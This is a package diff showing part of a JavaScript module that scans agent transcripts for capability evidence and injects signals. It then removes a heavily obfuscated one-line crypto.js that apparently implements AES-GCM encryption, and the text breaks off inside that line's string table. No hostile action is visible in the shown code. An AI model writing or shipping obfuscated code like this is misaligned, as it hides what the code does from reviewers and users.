function _hasSuccessNear(text, lowerText, matchIndex, matchLen) {
|
|
132
|
+
const from = Math.max(0, matchIndex - PROXIMITY_WINDOW);
|
|
133
|
+
const to = Math.min(lowerText.length, matchIndex + matchLen + PROXIMITY_WINDOW);
|
|
134
|
+
for (const m of SUCCESS_MARKERS) {
|
|
135
|
+
const needle = m.toLowerCase();
|
|
136
|
+
// walk every occurrence of this marker inside the window; accept only a
|
|
137
|
+
// non-negated one.
|
|
138
|
+
let rel = windowIndexOf(lowerText, needle, from, to);
|
|
139
|
+
while (rel !== -1) {
|
|
140
|
+
if (!_markerIsNegated(lowerText, rel)) return true;
|
|
141
|
+
rel = windowIndexOf(lowerText, needle, rel + 1, to);
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
return false;
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
// indexOf for `needle` constrained to [from, to); returns absolute index in
|
|
148
|
+
// lowerText or -1. Keeps negation checks anchored to the full text so the
|
|
149
|
+
// lookback can see chars just before the window edge.
|
|
150
|
+
function windowIndexOf(lowerText, needle, from, to) {
|
|
151
|
+
const idx = lowerText.indexOf(needle, from);
|
|
152
|
+
if (idx === -1 || idx >= to) return -1;
|
|
153
|
+
return idx;
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
// Scan ONE segment for candidates (success marker within PROXIMITY_WINDOW of a
|
|
157
|
+
// capability match, non-negated). Returns [{capability, matched, snippet, hash}].
|
|
158
|
+
function _scanSegment(text, sink, seenSlugs) {
|
|
159
|
+
if (!text || !text.trim()) return;
|
|
160
|
+
const lower = text.toLowerCase();
|
|
161
|
+
for (const [re, slug] of CAPABILITY_PATTERNS) {
|
|
162
|
+
if (seenSlugs.has(slug)) continue;
|
|
163
|
+
const gre = new RegExp(re.source, re.flags.includes('g') ? re.flags : re.flags + 'g');
|
|
164
|
+
let m;
|
|
165
|
+
let accepted = null;
|
|
166
|
+
while ((m = gre.exec(text)) !== null) {
|
|
167
|
+
if (m[0].length === 0) { gre.lastIndex++; continue; } // guard zero-width
|
|
168
|
+
if (_hasSuccessNear(text, lower, m.index, m[0].length)) { accepted = m; break; }
|
|
169
|
+
}
|
|
170
|
+
if (!accepted) continue;
|
|
171
|
+
seenSlugs.add(slug);
|
|
172
|
+
const idx = Math.max(0, accepted.index - 80);
|
|
173
|
+
const snippet = text.slice(idx, idx + SNIPPET_MAX).replace(/\s+/g, ' ').trim();
|
|
174
|
+
sink.push({
|
|
175
|
+
capability: slug,
|
|
176
|
+
matched: accepted[0].slice(0, 60),
|
|
177
|
+
snippet,
|
|
178
|
+
hash: _shortHash(slug + '|' + snippet),
|
|
179
|
+
});
|
|
180
|
+
}
|
|
181
|
+
}
|
|
182
|
+
|
|
183
|
+
// Pure scan. Accepts a single string OR an array of segments (e.g. master log
|
|
184
|
+
// and today log). Each segment is scanned INDEPENDENTLY so a success marker in
|
|
185
|
+
// one segment can never falsely sit "near" a capability match in another
|
|
186
|
+
// (Bugbot #175 round 2: joined logs caused false cross-boundary proximity).
|
|
187
|
+
// A candidate requires a non-negated success marker within PROXIMITY_WINDOW of
|
|
188
|
+
// the capability match, scanning all occurrences so a later successful use wins
|
|
189
|
+
// over an earlier failed mention.
|
|
190
|
+
function scanCorpus(corpus) {
|
|
191
|
+
const segments = Array.isArray(corpus) ? corpus : [corpus];
|
|
192
|
+
const candidates = [];
|
|
193
|
+
const seenSlugs = new Set();
|
|
194
|
+
for (const seg of segments) {
|
|
195
|
+
if (candidates.length >= MAX_CANDIDATES) break;
|
|
196
|
+
_scanSegment(String(seg || ''), candidates, seenSlugs);
|
|
197
|
+
}
|
|
198
|
+
return candidates.slice(0, MAX_CANDIDATES);
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
function convertToSignals(candidates) {
|
|
202
|
+
const signals = [];
|
|
203
|
+
const seen = new Set();
|
|
204
|
+
for (const c of candidates) {
|
|
205
|
+
const sig = 'conv_capability:' + c.capability;
|
|
206
|
+
if (!seen.has(sig)) { seen.add(sig); signals.push(sig); }
|
|
207
|
+
}
|
|
208
|
+
if (signals.length > 0) signals.unshift(UMBRELLA_SIGNAL);
|
|
209
|
+
return signals;
|
|
210
|
+
}
|
|
211
|
+
|
|
212
|
+
// Main entry, mirrors explore.tryExplore(): gate -> scan -> dedup -> (shadow|enforce).
|
|
213
|
+
// Returns { mode, candidates, signals } — signals is [] in shadow/off so the
|
|
214
|
+
// caller can inject unconditionally without leaking shadow candidates.
|
|
215
|
+
function trySniff(corpus, state) {
|
|
216
|
+
const st = state || readState();
|
|
217
|
+
if (!shouldSniff(st)) return { mode: MODE, candidates: [], signals: [] };
|
|
218
|
+
|
|
219
|
+
const all = scanCorpus(corpus);
|
|
220
|
+
|
|
221
|
+
// dedup against already-processed candidate hashes
|
|
222
|
+
const seenMap = st.seen || {};
|
|
223
|
+
const fresh = all.filter((c) => !seenMap[c.hash]);
|
|
224
|
+
|
|
225
|
+
// Only start the cooldown when we actually surfaced something new. An empty
|
|
226
|
+
// sniff (no candidates, or all already-seen) must NOT arm the cooldown —
|
|
227
|
+
// otherwise a barren cycle blocks detection until the window elapses even
|
|
228
|
+
// when the transcript gains real evidence moments later (Bugbot #175, Med).
|
|
229
|
+
if (fresh.length === 0) return { mode: MODE, candidates: [], signals: [] };
|
|
230
|
+
|
|
231
|
+
st.last_sniff_ts = Date.now();
|
|
232
|
+
for (const c of fresh) seenMap[c.hash] = { capability: c.capability, at: new Date().toISOString() };
|
|
233
|
+
st.seen = seenMap;
|
|
234
|
+
writeState(st);
|
|
235
|
+
|
|
236
|
+
const signals = convertToSignals(fresh);
|
|
237
|
+
|
|
238
|
+
// Always log what was surfaced (both shadow and enforce) for auditing.
|
|
239
|
+
_appendLog({
|
|
240
|
+
at: new Date().toISOString(),
|
|
241
|
+
mode: MODE,
|
|
242
|
+
candidates: fresh.map((c) => ({ capability: c.capability, matched: c.matched, hash: c.hash })),
|
|
243
|
+
signals,
|
|
244
|
+
});
|
|
245
|
+
|
|
246
|
+
if (MODE === 'shadow') {
|
|
247
|
+
console.log('[ConvSniff:shadow] Would surface ' + fresh.length + ' capability candidate(s): ' +
|
|
248
|
+
fresh.map((c) => c.capability).join(', ') + ' (signals NOT injected; set EVOLVER_CONV_SNIFF_ENABLED=enforce to act).');
|
|
249
|
+
return { mode: MODE, candidates: fresh, signals: [] };
|
|
250
|
+
}
|
|
251
|
+
|
|
252
|
+
console.log('[ConvSniff] Surfaced ' + fresh.length + ' capability candidate(s); injecting ' +
|
|
253
|
+
signals.length + ' signal(s): ' + signals.join(', '));
|
|
254
|
+
return { mode: MODE, candidates: fresh, signals };
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
module.exports = {
|
|
258
|
+
getMode,
|
|
259
|
+
shouldSniff,
|
|
260
|
+
scanCorpus,
|
|
261
|
+
convertToSignals,
|
|
262
|
+
trySniff,
|
|
263
|
+
readState,
|
|
264
|
+
writeState,
|
|
265
|
+
UMBRELLA_SIGNAL,
|
|
266
|
+
};
|
package/src/gep/crypto.js
CHANGED
|
@@ -1 +1,89 @@
|
|
|
1
|
-
const _0x3982fd=_0x2a3a;(function(_0x466935,_0x25e542){const _0x1b996a=_0x2a3a,_0xa49cec=_0x466935();while(!![]){try{const _0x20c9e8=-parseInt(_0x1b996a(0x151,'\x6e\x45\x25\x69'))/(-0x3*-0x5e9+-0x1fd*-0x3+-0x5*0x4bd)*(-parseInt(_0x1b996a(0x103,'\x41\x54\x59\x70'))/(-0x1c0*0xc+0x643+-0x2f3*-0x5))+parseInt(_0x1b996a(0x164,'\x5e\x4f\x65\x4e'))/(0xc5*0x2c+-0x1cdb+-0x4fe*0x1)+parseInt(_0x1b996a(0x14f,'\x57\x5a\x5e\x46'))/(0x2036+0x4d0+0x1281*-0x2)*(parseInt(_0x1b996a(0xfd,'\x67\x40\x4a\x4e'))/(0x557*0x1+-0x146e+-0x78e*-0x2))+parseInt(_0x1b996a(0x148,'\x42\x21\x68\x57'))/(0x42c+-0x273+-0x1b3)+parseInt(_0x1b996a(0x12c,'\x72\x2a\x5a\x66'))/(-0x9f0+0x1*0x1999+-0xfa2)+parseInt(_0x1b996a(0x154,'\x74\x26\x74\x33'))/(-0x14c0+0x53*0x4c+-0x2*0x1ee)*(parseInt(_0x1b996a(0x15f,'\x4e\x5d\x63\x44'))/(0x5b7+-0x2069+0x1abb))+-parseInt(_0x1b996a(0x189,'\x5b\x70\x21\x43'))/(0x757*0x1+0x1649+0x1d96*-0x1)*(parseInt(_0x1b996a(0x173,'\x70\x39\x4d\x76'))/(0x8de+0x37c*-0x9+0x1689));if(_0x20c9e8===_0x25e542)break;else _0xa49cec['push'](_0xa49cec['shift']());}catch(_0x19eb10){_0xa49cec['push'](_0xa49cec['shift']());}}}(_0x3cef,0x10f88c+-0x3649*0x1e+0x2c59*0x1a));const _0xdd38b3=(function(){const _0x172381=_0x2a3a,_0x45df18={};_0x45df18[_0x172381(0x11d,'\x30\x72\x77\x57')]=_0x172381(0x105,'\x6e\x45\x25\x69')+_0x172381(0x143,'\x69\x57\x57\x42')+_0x172381(0x153,'\x23\x52\x52\x5d')+_0x172381(0x185,'\x57\x5a\x5e\x46')+'\x79\x74\x65\x73',_0x45df18[_0x172381(0x116,'\x23\x52\x52\x5d')]=function(_0xc6180e,_0x244762){return _0xc6180e!==_0x244762;},_0x45df18[_0x172381(0x16a,'\x56\x63\x6c\x67')]=_0x172381(0x18b,'\x6e\x45\x25\x69'),_0x45df18[_0x172381(0x141,'\x76\x5d\x23\x4a')]=function(_0x527af7,_0x41d74c){return _0x527af7===_0x41d74c;},_0x45df18[_0x172381(0x157,'\x6e\x45\x25\x69')]=_0x172381(0x11a,'\x28\x31\x64\x56'),_0x45df18[_0x172381(0x149,'\x67\x40\x4a\x4e')]=_0x172381(0x114,'\x6e\x45\x25\x69');const _0x13fd5f=_0x45df18;let _0x14218a=!![];return function(_0x520365,_0x3f2aba){const _0x21a709=_0x14218a?function(){const _0x33a8aa=_0x2a3a,_0x265750={};_0x265750[_0x33a8aa(0x145,'\x34\x37\x76\x33')]=_0x13fd5f[_0x33a8aa(0xfb,'\x70\x4a\x6b\x55')];const _0x20d95c=_0x265750;if(_0x13fd5f['\x65\x71\x6b\x73\x6e'](_0x33a8aa(0x123,'\x42\x21\x68\x57'),_0x13fd5f[_0x33a8aa(0xf9,'\x67\x40\x4a\x4e')]))throw new _0x46f171(_0x20d95c[_0x33a8aa(0x174,'\x56\x63\x6c\x67')]);else{if(_0x3f2aba){if(_0x13fd5f[_0x33a8aa(0x112,'\x36\x54\x24\x25')](_0x13fd5f['\x6e\x48\x50\x76\x54'],_0x13fd5f[_0x33a8aa(0x17e,'\x72\x2a\x5a\x66')]))throw new _0x179649('\x63\x72\x79\x70\x74\x6f\x3a\x20'+_0x33a8aa(0x15e,'\x32\x30\x25\x7a')+'\x20\x62\x65\x20\x65\x78\x61\x63'+_0x33a8aa(0x11c,'\x49\x78\x58\x21')+_0x33a8aa(0x188,'\x41\x54\x59\x70'));else{const _0x170bb9=_0x3f2aba[_0x33a8aa(0x10e,'\x69\x57\x57\x42')](_0x520365,arguments);return _0x3f2aba=null,_0x170bb9;}}}}:function(){};return _0x14218a=![],_0x21a709;};}()),_0x12ecbd=_0xdd38b3(this,function(){const _0x132c2e=_0x2a3a,_0x39d44d={};_0x39d44d[_0x132c2e(0x15c,'\x34\x37\x76\x33')]=_0x132c2e(0x15b,'\x48\x48\x58\x51')+_0x132c2e(0x138,'\x58\x42\x42\x4e');const _0x333aad=_0x39d44d;return _0x12ecbd['\x74\x6f\x53\x74\x72\x69\x6e\x67']()[_0x132c2e(0x182,'\x36\x54\x24\x25')](_0x333aad['\x43\x72\x53\x63\x59'])[_0x132c2e(0x177,'\x28\x49\x48\x64')]()[_0x132c2e(0x159,'\x36\x54\x24\x25')+_0x132c2e(0x12d,'\x28\x49\x48\x64')](_0x12ecbd)[_0x132c2e(0x10d,'\x49\x78\x58\x21')](_0x333aad[_0x132c2e(0x14b,'\x6f\x69\x69\x46')]);});_0x12ecbd();const _0x3d0296=require(_0x3982fd(0x10c,'\x70\x4a\x6b\x55')),_0x350264=_0x3982fd(0x12e,'\x72\x2a\x5a\x66')+_0x3982fd(0x136,'\x63\x24\x50\x53'),_0x45bb1a=-0x1eb7+-0x1069+0x2f2c,_0x157af4=-0x25d3*0x1+0x100e+0x15d5,_0x38e096=0x61d+-0xfde+0x9e1;function _0x3918bb(){const _0x3ded5d=_0x3982fd;return _0x3d0296[_0x3ded5d(0x183,'\x72\x4d\x64\x6d')+_0x3ded5d(0x100,'\x4b\x43\x42\x6c')](_0x38e096);}function _0x23b244(_0x5a01da,_0x57013f){const _0x400991=_0x3982fd,_0x468100={};_0x468100[_0x400991(0x104,'\x72\x2a\x5a\x66')]=function(_0x20e16e,_0x5bd134){return _0x20e16e<_0x5bd134;},_0x468100[_0x400991(0x15d,'\x6e\x45\x25\x69')]=function(_0x50eb6e,_0x449091){return _0x50eb6e+_0x449091;},_0x468100[_0x400991(0x176,'\x23\x52\x52\x5d')]=_0x400991(0x120,'\x49\x74\x5a\x39')+_0x400991(0x13a,'\x31\x65\x38\x67')+_0x400991(0x184,'\x74\x26\x74\x33')+_0x400991(0x137,'\x30\x6b\x23\x24'),_0x468100[_0x400991(0x17b,'\x32\x30\x25\x7a')]=function(_0x15a956,_0x1e0aa6){return _0x15a956+_0x1e0aa6;},_0x468100[_0x400991(0x117,'\x56\x63\x6c\x67')]=function(_0x4d70c7,_0x248dd3){return _0x4d70c7!==_0x248dd3;},_0x468100[_0x400991(0x16e,'\x4e\x5d\x63\x44')]=_0x400991(0x12f,'\x48\x48\x58\x51'),_0x468100[_0x400991(0x162,'\x38\x7a\x65\x55')]=_0x400991(0x158,'\x28\x49\x48\x64')+_0x400991(0x18a,'\x57\x5a\x5e\x46')+'\x20\x62\x65\x20\x65\x78\x61\x63'+_0x400991(0x144,'\x49\x74\x5a\x39')+_0x400991(0x13c,'\x6f\x69\x69\x46'),_0x468100[_0x400991(0x124,'\x6d\x61\x34\x71')]=_0x400991(0x13e,'\x74\x26\x74\x33');const _0x4d2370=_0x468100;if(!_0x57013f||_0x4d2370['\x56\x5a\x5a\x6d\x4f'](_0x57013f[_0x400991(0x139,'\x30\x72\x77\x57')],_0x38e096)){if(_0x4d2370[_0x400991(0x155,'\x72\x4d\x64\x6d')]!==_0x4d2370['\x62\x56\x6b\x4c\x4e']){if(!_0x4890fc[_0x400991(0x13f,'\x67\x6d\x57\x75')](_0x36749d)||_0x4d2370[_0x400991(0x172,'\x58\x42\x42\x4e')](_0x4144ac[_0x400991(0x130,'\x36\x48\x24\x6c')],_0x4d2370['\x4a\x65\x61\x5a\x55'](_0x4d2370[_0x400991(0x108,'\x35\x4f\x25\x7a')](_0x3cab63,_0x4ba401),-0x201a+-0x1*-0x170d+0x90e)))throw new _0x3582a9(_0x4d2370[_0x400991(0x134,'\x6d\x61\x34\x71')]);const _0x549676=_0x266208[_0x400991(0x129,'\x49\x74\x5a\x39')](0x14cc+-0x23f0+0xf24,_0x5b2ea8),_0x298c4d=_0x92ae79[_0x400991(0x170,'\x30\x6b\x23\x24')](_0x3e31d4,_0x4d2370[_0x400991(0x171,'\x34\x37\x76\x33')](_0x244b92,_0x441b59)),_0x56f4fd=_0x46dd96[_0x400991(0x135,'\x6d\x61\x34\x71')](_0x4d2370[_0x400991(0x132,'\x23\x52\x52\x5d')](_0x1b34fa,_0x15b013)),_0x3c6db6={};return _0x3c6db6[_0x400991(0x152,'\x33\x5b\x6b\x51')+'\x78\x74']=_0x56f4fd,_0x3c6db6['\x69\x76']=_0x549676,_0x3c6db6[_0x400991(0x128,'\x23\x52\x52\x5d')]=_0x298c4d,_0x3c6db6;}else throw new Error(_0x4d2370[_0x400991(0x163,'\x74\x26\x74\x33')]);}const _0x1ea029=_0x3d0296[_0x400991(0x16b,'\x58\x42\x42\x4e')+_0x400991(0x142,'\x34\x37\x76\x33')](_0x45bb1a),_0x66b68d=_0x3d0296[_0x400991(0x169,'\x28\x49\x48\x64')+'\x70\x68\x65\x72\x69\x76'](_0x350264,_0x57013f,_0x1ea029),_0x4e17b9=Buffer['\x69\x73\x42\x75\x66\x66\x65\x72'](_0x5a01da)?_0x5a01da:Buffer[_0x400991(0xf8,'\x34\x37\x76\x33')](_0x5a01da,_0x4d2370[_0x400991(0x10f,'\x72\x4d\x64\x6d')]),_0x565c6c=Buffer[_0x400991(0x118,'\x69\x57\x57\x42')]([_0x66b68d[_0x400991(0x11e,'\x5b\x70\x21\x43')](_0x4e17b9),_0x66b68d[_0x400991(0x13d,'\x4b\x43\x42\x6c')]()]),_0x57217c=_0x66b68d[_0x400991(0x16f,'\x74\x26\x74\x33')+'\x61\x67'](),_0x1fdd8e={};return _0x1fdd8e[_0x400991(0x168,'\x30\x72\x77\x57')+'\x78\x74']=_0x565c6c,_0x1fdd8e['\x69\x76']=_0x1ea029,_0x1fdd8e[_0x400991(0x165,'\x6e\x45\x25\x69')]=_0x57217c,_0x1fdd8e;}function _0x578204(_0x3c6d0f,_0x4e2539,_0x33f2e8,_0x5e07ec){const _0x456320=_0x3982fd,_0x58c661={};_0x58c661[_0x456320(0x133,'\x70\x38\x71\x5b')]=function(_0x2d6d67,_0x2e7bd0){return _0x2d6d67!==_0x2e7bd0;},_0x58c661[_0x456320(0x146,'\x6f\x69\x69\x46')]=_0x456320(0x14c,'\x33\x5b\x6b\x51')+_0x456320(0x150,'\x37\x29\x39\x56')+_0x456320(0x109,'\x6e\x45\x25\x69')+_0x456320(0x14a,'\x74\x26\x74\x33')+_0x456320(0x188,'\x41\x54\x59\x70');const _0xbcd49=_0x58c661;if(!_0x4e2539||_0xbcd49[_0x456320(0x127,'\x36\x4a\x65\x54')](_0x4e2539[_0x456320(0x147,'\x70\x4a\x6b\x55')],_0x38e096))throw new Error(_0xbcd49[_0x456320(0x175,'\x4e\x5d\x63\x44')]);const _0x37ab75=_0x3d0296[_0x456320(0x12a,'\x72\x4d\x64\x6d')+_0x456320(0x101,'\x49\x78\x58\x21')](_0x350264,_0x4e2539,_0x33f2e8);return _0x37ab75[_0x456320(0x119,'\x72\x4d\x64\x6d')+'\x61\x67'](_0x5e07ec),Buffer[_0x456320(0x11b,'\x72\x4d\x64\x6d')]([_0x37ab75[_0x456320(0x160,'\x55\x59\x37\x49')](_0x3c6d0f),_0x37ab75['\x66\x69\x6e\x61\x6c']()]);}function _0xf325f6(_0x1f5764){const _0x4f225f=_0x3982fd;return Buffer[_0x4f225f(0x16c,'\x56\x63\x6c\x67')]([_0x1f5764['\x69\x76'],_0x1f5764[_0x4f225f(0x186,'\x70\x38\x71\x5b')],_0x1f5764[_0x4f225f(0x102,'\x5b\x70\x21\x43')+'\x78\x74']]);}function _0x72791b(_0xae192e){const _0x15d9ef=_0x3982fd,_0x37d8f5={};_0x37d8f5[_0x15d9ef(0x17d,'\x31\x65\x38\x67')]=function(_0x23fbf5,_0x1fc7a6){return _0x23fbf5<_0x1fc7a6;},_0x37d8f5[_0x15d9ef(0x14d,'\x70\x39\x4d\x76')]=function(_0x2fd9a6,_0x390226){return _0x2fd9a6+_0x390226;},_0x37d8f5[_0x15d9ef(0x113,'\x41\x52\x47\x78')]=_0x15d9ef(0x17a,'\x58\x42\x42\x4e')+'\x70\x61\x63\x6b\x65\x64\x20\x62'+_0x15d9ef(0xff,'\x36\x4a\x65\x54')+_0x15d9ef(0x17c,'\x31\x65\x38\x67'),_0x37d8f5[_0x15d9ef(0x16d,'\x6d\x61\x34\x71')]=function(_0x25fc2d,_0x4e438c){return _0x25fc2d+_0x4e438c;},_0x37d8f5[_0x15d9ef(0x180,'\x74\x21\x42\x41')]=function(_0x100564,_0x43b3b4){return _0x100564+_0x43b3b4;};const _0x3277ab=_0x37d8f5;if(!Buffer[_0x15d9ef(0x156,'\x56\x63\x6c\x67')](_0xae192e)||_0x3277ab[_0x15d9ef(0x10a,'\x59\x70\x73\x4f')](_0xae192e[_0x15d9ef(0x140,'\x36\x4a\x65\x54')],_0x3277ab[_0x15d9ef(0xfc,'\x57\x5a\x5e\x46')](_0x3277ab[_0x15d9ef(0x106,'\x34\x37\x76\x33')](_0x45bb1a,_0x157af4),-0x1*0x6b9+0x82a+0x1*-0x170)))throw new Error(_0x3277ab[_0x15d9ef(0x161,'\x56\x63\x6c\x67')]);const _0x4f3ae7=_0xae192e[_0x15d9ef(0x187,'\x31\x65\x38\x67')](-0xfe1+-0x1229+0x1105*0x2,_0x45bb1a),_0x557d8f=_0xae192e[_0x15d9ef(0x178,'\x28\x31\x64\x56')](_0x45bb1a,_0x3277ab['\x64\x4e\x4f\x43\x76'](_0x45bb1a,_0x157af4)),_0x32c0d1=_0xae192e[_0x15d9ef(0x121,'\x70\x4a\x6b\x55')](_0x3277ab[_0x15d9ef(0x179,'\x48\x48\x58\x51')](_0x45bb1a,_0x157af4)),_0x24023c={};return _0x24023c[_0x15d9ef(0x115,'\x55\x59\x37\x49')+'\x78\x74']=_0x32c0d1,_0x24023c['\x69\x76']=_0x4f3ae7,_0x24023c[_0x15d9ef(0x125,'\x59\x70\x73\x4f')]=_0x557d8f,_0x24023c;}function _0x3cef(){const _0x2b6892=['\x57\x37\x65\x79\x57\x35\x33\x64\x53\x6d\x6f\x41\x6b\x57','\x57\x37\x52\x63\x51\x71\x70\x63\x4f\x53\x6f\x38\x57\x37\x6e\x4f\x57\x35\x47','\x79\x43\x6f\x50\x57\x35\x68\x64\x54\x4e\x4b','\x57\x36\x52\x63\x4f\x58\x4e\x63\x47\x6d\x6f\x4f\x57\x37\x6d','\x57\x35\x47\x42\x6d\x4d\x62\x69\x57\x51\x61\x73\x77\x57','\x57\x35\x71\x75\x57\x36\x4f\x6e\x6f\x47','\x57\x37\x4c\x4b\x71\x53\x6b\x6a\x6d\x33\x53','\x77\x71\x76\x55\x57\x36\x6a\x5a\x46\x4d\x65','\x46\x59\x42\x64\x52\x6d\x6b\x51\x57\x34\x78\x64\x4a\x6d\x6f\x56\x57\x35\x53','\x7a\x59\x53\x6f\x6e\x75\x42\x64\x48\x62\x30\x6f','\x43\x30\x74\x64\x55\x43\x6f\x4f\x57\x4f\x6c\x64\x49\x58\x30','\x71\x33\x33\x64\x4c\x43\x6f\x78\x57\x4f\x43','\x6b\x43\x6f\x42\x57\x37\x64\x64\x4c\x71\x6d','\x71\x43\x6b\x7a\x57\x52\x56\x63\x4c\x38\x6f\x73\x57\x36\x66\x59','\x57\x37\x39\x35\x57\x50\x79\x36\x75\x66\x4a\x64\x47\x6d\x6f\x68','\x57\x37\x42\x64\x47\x53\x6f\x47\x74\x74\x30','\x64\x53\x6f\x4b\x57\x52\x78\x64\x4b\x6d\x6b\x38\x6b\x59\x34','\x42\x59\x68\x64\x54\x38\x6b\x37\x57\x34\x70\x64\x4b\x43\x6b\x30\x57\x4f\x69','\x57\x36\x52\x63\x56\x48\x6c\x63\x47\x53\x6f\x39\x57\x36\x6a\x65\x57\x36\x4b','\x57\x37\x58\x31\x72\x43\x6b\x64','\x57\x4f\x65\x6d\x57\x37\x58\x74\x6b\x5a\x68\x63\x4f\x53\x6f\x4b\x45\x6d\x6b\x74\x75\x53\x6b\x76\x66\x61','\x57\x35\x70\x63\x4f\x38\x6f\x73','\x57\x35\x76\x7a\x57\x52\x58\x69\x69\x64\x74\x63\x4f\x53\x6b\x56','\x79\x64\x30\x77\x41\x78\x69','\x67\x66\x6e\x42\x6f\x6d\x6f\x6d\x57\x50\x34','\x75\x66\x68\x64\x4b\x38\x6f\x41\x57\x36\x71\x51\x44\x6d\x6f\x70\x6c\x63\x6d\x55\x6e\x71','\x63\x38\x6f\x66\x57\x51\x4e\x64\x4d\x53\x6b\x48','\x57\x34\x74\x63\x4a\x53\x6f\x55\x57\x51\x74\x63\x56\x61','\x67\x38\x6f\x52\x57\x35\x70\x64\x52\x57\x75','\x6c\x43\x6f\x30\x57\x35\x5a\x64\x50\x72\x56\x64\x4d\x53\x6b\x31\x57\x50\x57','\x6e\x53\x6f\x4e\x43\x47','\x71\x78\x65\x41\x57\x51\x62\x6f\x6b\x38\x6f\x42','\x57\x50\x4a\x64\x4e\x31\x4a\x63\x4a\x71','\x57\x34\x34\x35\x57\x34\x57\x37\x66\x53\x6b\x66','\x57\x4f\x79\x68\x71\x43\x6b\x69\x63\x75\x56\x63\x4c\x58\x65','\x6b\x77\x78\x63\x4f\x43\x6f\x49\x57\x4f\x4a\x64\x54\x53\x6b\x62\x57\x52\x78\x64\x4e\x32\x4e\x64\x56\x61','\x6d\x6d\x6f\x33\x57\x35\x31\x4b','\x70\x31\x47\x39\x57\x37\x79\x35','\x57\x34\x74\x63\x4d\x53\x6b\x50\x57\x4f\x43','\x57\x52\x2f\x63\x47\x71\x4c\x75\x57\x50\x56\x63\x4d\x43\x6f\x61\x66\x71','\x57\x36\x70\x64\x4c\x53\x6f\x44\x46\x59\x37\x63\x54\x71','\x57\x52\x31\x33\x43\x75\x62\x32','\x57\x37\x78\x64\x4c\x32\x38','\x57\x37\x4b\x73\x57\x34\x52\x63\x53\x38\x6f\x77\x6b\x4e\x35\x76','\x41\x64\x4a\x64\x52\x6d\x6f\x36\x57\x4f\x6c\x63\x4b\x43\x6f\x31\x57\x50\x4b','\x57\x36\x2f\x64\x56\x33\x74\x63\x56\x38\x6b\x68','\x67\x53\x6f\x47\x57\x37\x72\x39\x72\x47','\x45\x64\x53\x63\x6d\x30\x64\x64\x4e\x47','\x61\x4a\x42\x63\x4e\x53\x6b\x35\x57\x36\x79\x2b\x57\x50\x30\x48\x72\x43\x6f\x4c\x75\x76\x4a\x63\x4d\x57','\x57\x51\x33\x63\x52\x6d\x6f\x71\x57\x4f\x4a\x63\x4d\x47','\x57\x34\x78\x63\x47\x53\x6b\x32\x57\x50\x39\x42\x70\x53\x6b\x2b\x57\x52\x57','\x63\x53\x6f\x58\x57\x36\x54\x30\x78\x47','\x57\x37\x78\x64\x55\x64\x74\x63\x51\x33\x65\x34\x57\x52\x4a\x64\x52\x61','\x57\x35\x52\x63\x4a\x6d\x6b\x39\x57\x36\x50\x6b','\x6c\x67\x39\x42\x79\x61\x42\x63\x47\x5a\x38\x34\x75\x5a\x43\x54\x62\x61','\x57\x51\x62\x32\x61\x65\x34\x47\x57\x36\x4f\x30\x57\x52\x37\x64\x56\x77\x4f','\x70\x76\x74\x64\x4c\x43\x6b\x6f\x71\x53\x6f\x2f\x6b\x53\x6b\x46','\x57\x50\x68\x64\x50\x4c\x75\x30\x79\x4d\x56\x63\x56\x6d\x6b\x45\x57\x34\x4e\x63\x56\x4e\x4b\x71','\x57\x37\x78\x64\x4f\x5a\x33\x63\x53\x32\x61\x4c\x57\x37\x42\x63\x51\x71','\x74\x38\x6f\x5a\x57\x51\x74\x63\x4d\x6d\x6b\x6e\x6d\x49\x4a\x64\x52\x47','\x57\x4f\x64\x64\x4e\x43\x6f\x35\x57\x4f\x43\x70\x74\x38\x6f\x54\x57\x51\x48\x77\x75\x57','\x57\x36\x56\x63\x4d\x48\x5a\x63\x52\x38\x6f\x68','\x46\x30\x2f\x64\x49\x38\x6f\x59\x57\x50\x42\x64\x4d\x71\x56\x63\x4a\x47','\x57\x34\x56\x63\x4d\x64\x66\x37\x62\x71','\x57\x34\x74\x63\x56\x53\x6f\x7a\x43\x6d\x6f\x38\x57\x51\x66\x68\x57\x36\x61','\x57\x52\x61\x6f\x45\x48\x50\x7a\x57\x35\x65\x76\x57\x37\x47','\x57\x37\x74\x63\x49\x43\x6b\x79\x57\x51\x38\x42\x57\x4f\x34\x47\x7a\x73\x30\x4c\x43\x72\x4b\x59','\x67\x4b\x72\x38\x70\x47\x37\x63\x49\x64\x6c\x63\x47\x47','\x57\x34\x6c\x64\x47\x65\x2f\x63\x48\x53\x6b\x71','\x57\x36\x2f\x63\x54\x71\x62\x78\x62\x61','\x57\x50\x66\x57\x57\x35\x39\x5a\x6e\x53\x6f\x4f\x67\x53\x6f\x6c','\x75\x76\x42\x64\x4b\x38\x6f\x42\x57\x36\x35\x6c\x41\x6d\x6f\x4e\x6f\x5a\x4b\x30','\x6f\x6d\x6f\x2f\x76\x6d\x6b\x74\x57\x52\x31\x48','\x72\x68\x46\x64\x56\x6d\x6f\x75\x57\x51\x75','\x6b\x71\x53\x62\x62\x43\x6b\x47','\x57\x37\x42\x63\x50\x38\x6b\x4d\x57\x34\x34\x6b','\x57\x37\x37\x63\x49\x38\x6b\x43\x57\x51\x57\x71\x57\x4f\x39\x42\x45\x57\x61\x38\x74\x72\x43','\x57\x34\x74\x63\x50\x72\x76\x4c\x62\x74\x37\x63\x4b\x57','\x61\x4a\x70\x63\x4d\x53\x6b\x39\x57\x51\x54\x45\x57\x35\x43\x58\x76\x53\x6f\x74','\x57\x34\x33\x63\x49\x53\x6b\x46\x57\x37\x35\x65\x57\x36\x75\x41','\x57\x34\x65\x31\x57\x35\x69\x30\x62\x38\x6b\x46\x57\x52\x70\x63\x50\x71','\x57\x34\x74\x63\x56\x53\x6f\x66\x79\x43\x6f\x38\x57\x51\x53\x2b\x57\x51\x4b','\x75\x78\x4e\x64\x49\x38\x6f\x71\x57\x51\x61','\x57\x34\x68\x63\x4c\x58\x33\x64\x4a\x43\x6f\x73\x57\x36\x57\x39\x57\x4f\x69','\x44\x76\x70\x64\x50\x38\x6f\x4b\x57\x50\x68\x64\x49\x57','\x6f\x53\x6f\x70\x57\x37\x68\x64\x48\x58\x38','\x62\x4a\x68\x63\x4a\x6d\x6b\x56\x57\x50\x4b','\x57\x35\x42\x63\x49\x38\x6b\x37\x57\x37\x34\x44\x45\x6d\x6f\x32\x57\x4f\x4f','\x78\x73\x71\x6c\x57\x